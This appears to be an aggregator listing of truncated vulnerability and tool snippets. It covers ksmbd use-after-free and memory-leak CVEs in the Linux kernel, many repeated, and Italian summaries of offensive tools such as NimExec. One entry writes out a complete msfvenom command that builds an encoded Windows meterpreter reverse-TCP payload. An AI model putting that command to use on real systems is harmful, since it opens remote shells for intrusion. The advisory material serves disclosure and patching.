SMB-LINUX-CVE-2025-37899

Vulnerabilità Use-After-Free in ksmbd del Kernel Linux CVE-2025-37899 Descrizione È stata scoperta una vulnerabilità di tipo use-after-free nel modulo ksmbd del kernel di Linux, responsabile dell'implementazione del protocollo SMB Server Message Block per lo scambio di file in rete. Questa...

nmap-nse-scripts

Repository per lo sviluppo di NSE Nmap Scripting Engine. Troverai i miei script inclusi quelli non ufficiali, librerie, risorse e altro materiale correlato dai miei workshop. TODO -Completamento libreria NSE SMB2 -Attualmente sto lavorando sulla funzionalità di password mangling Paulino Calderon...

ms09-050_CVE-2009-3103

ms09-050CVE-2009-3103 CVE-2009-3103 ms09-050 Comando singolo per creare/generare un payload per Windows msfvenom --arch x86 --platform windows --payload windows/meterpreter/reversetcp LHOST=192.168.1.1 LPORT=4444 --bad-chars “\x00” --encoder x86/shikataganai --iterations 10 --format exe --out...

NimExec

NimExec In pratica, NimExec è uno strumento di esecuzione di comandi remoti senza file che utilizza il protocollo remoto di Service Control Manager MS-SCMR. Modifica il percorso binario di un servizio random o specificato eseguito da LocalSystem per eseguire il comando fornito sul target e lo...

Titanis

Introduzione Titanis è una libreria di implementazioni di protocolli e utilità da riga di comando, scritta in C, per interagire con ambienti Windows. Usa .NET 8 ed è multipiattaforma Windows e Linux. Alcuni dei protocolli implementati: SMB2 MS-SMB2 SMB 2.x e 3.x fino alla 3.1.1 Funzionalità di...

CVE-2026-72422

A flaw was found in ksmbd, the in-kernel SMB3 server for Linux. A remote attacker could exploit a use-after-free vulnerability by sending specially crafted concurrent SMB2 NEGOTIATE requests on the same connection. This could lead to memory corruption, potentially allowing the attacker to execute...

CVE-2026-72381

A flaw was found in ksmbd, the in-kernel SMB3 server for Linux. A remote attacker can exploit a race condition by initiating two concurrent SMB2 durable reconnects with the same persistent ID. This can lead to a use-after-free error, where freed memory is accessed, potentially causing system...

Linux Distros Unpatched Vulnerability : CVE-2026-72381

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ksmbd: fix use-after-free of fp-owner.name in durable handle owner check Two concurrent SMB2 durable reconnects DH2C/DHnC on the same persistentid race the...

Linux Distros Unpatched Vulnerability : CVE-2026-72422

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - ksmbd: fix use-after-free of conn-preauthinfo in concurrent SMB2 NEGOTIATE conn-preauthinfo is shared connection state struct preauthintegrityinfo, kmalloc-96...

CVE-2026-74494

A flaw was found in ksmbd, a kernel module for SMB3 protocol support. An unauthenticated client can send multiple SMB2 NEGOTIATE requests on a single connection before a session is established. This leads to a memory leak, as previous allocations are not properly freed. Repeated exploitation of...

SUSE CVE-2026-74494

In the Linux kernel, the following vulnerability has been resolved: ksmbd: reject repeated SMB2 NEGOTIATE requests Unauthenticated client can send multiple successful SMB2 NEGOTIATE requests on one connection before SESSIONSETUP. While the connection is in KSMBDSESSNEEDSETUP, smb2handlenegotiate...

CVE-2026-74494

In the Linux kernel, the following vulnerability has been resolved: ksmbd: reject repeated SMB2 NEGOTIATE requests Unauthenticated client can send multiple successful SMB2 NEGOTIATE requests on one connection before SESSIONSETUP. While the connection is in KSMBDSESSNEEDSETUP, smb2handlenegotiate...

UBUNTU-CVE-2026-74494

In the Linux kernel, the following vulnerability has been resolved: ksmbd: reject repeated SMB2 NEGOTIATE requests Unauthenticated client can send multiple successful SMB2 NEGOTIATE requests on one connection before SESSIONSETUP. While the connection is in KSMBDSESSNEEDSETUP, smb2handlenegotiate...

CVE-2026-74494

In the Linux kernel, the following vulnerability has been resolved: ksmbd: reject repeated SMB2 NEGOTIATE requests Unauthenticated client can send multiple successful SMB2 NEGOTIATE requests on one connection before SESSIONSETUP. While the connection is in KSMBDSESSNEEDSETUP, smb2handlenegotiate...

CVE-2026-74494 ksmbd: reject repeated SMB2 NEGOTIATE requests

In the Linux kernel, the following vulnerability has been resolved: ksmbd: reject repeated SMB2 NEGOTIATE requests Unauthenticated client can send multiple successful SMB2 NEGOTIATE requests on one connection before SESSIONSETUP. While the connection is in KSMBDSESSNEEDSETUP, smb2handlenegotiate...

CVE-2026-74494 ksmbd: reject repeated SMB2 NEGOTIATE requests

In the Linux kernel, the following vulnerability has been resolved: ksmbd: reject repeated SMB2 NEGOTIATE requests Unauthenticated client can send multiple successful SMB2 NEGOTIATE requests on one connection before SESSIONSETUP. While the connection is in KSMBDSESSNEEDSETUP, smb2handlenegotiate...

CVE-2026-74494

In the Linux kernel, the following vulnerability has been resolved: ksmbd: reject repeated SMB2 NEGOTIATE requests Unauthenticated client can send multiple successful SMB2 NEGOTIATE requests on one connection before SESSIONSETUP. While the connection is in KSMBDSESSNEEDSETUP, smb2handlenegotiate...

CVE-2026-74494

In the Linux kernel, the following vulnerability has been resolved: ksmbd: reject repeated SMB2 NEGOTIATE requests Unauthenticated client can send multiple successful SMB2 NEGOTIATE requests on one connection before SESSIONSETUP. While the connection is in KSMBDSESSNEEDSETUP, smb2handlenegotiate...

CVE-2026-74494

CVE-2026-74494 relates to ksmbd in the Linux kernel. Unauthenticated clients can issue multiple SMB2 NEGOTIATE requests on a single connection before SESSION_SETUP; during KSMBD_SESS_NEED_SETUP, smb2_handle_negotiate() may accept another SMB3.1.1 NEGOTIATE and overwrite conn->preauth_info, cau...

EUVD-2026-59687

In the Linux kernel, the following vulnerability has been resolved: ksmbd: reject repeated SMB2 NEGOTIATE requests Unauthenticated client can send multiple successful SMB2 NEGOTIATE requests on one connection before SESSIONSETUP. While the connection is in KSMBDSESSNEEDSETUP, smb2handlenegotiate...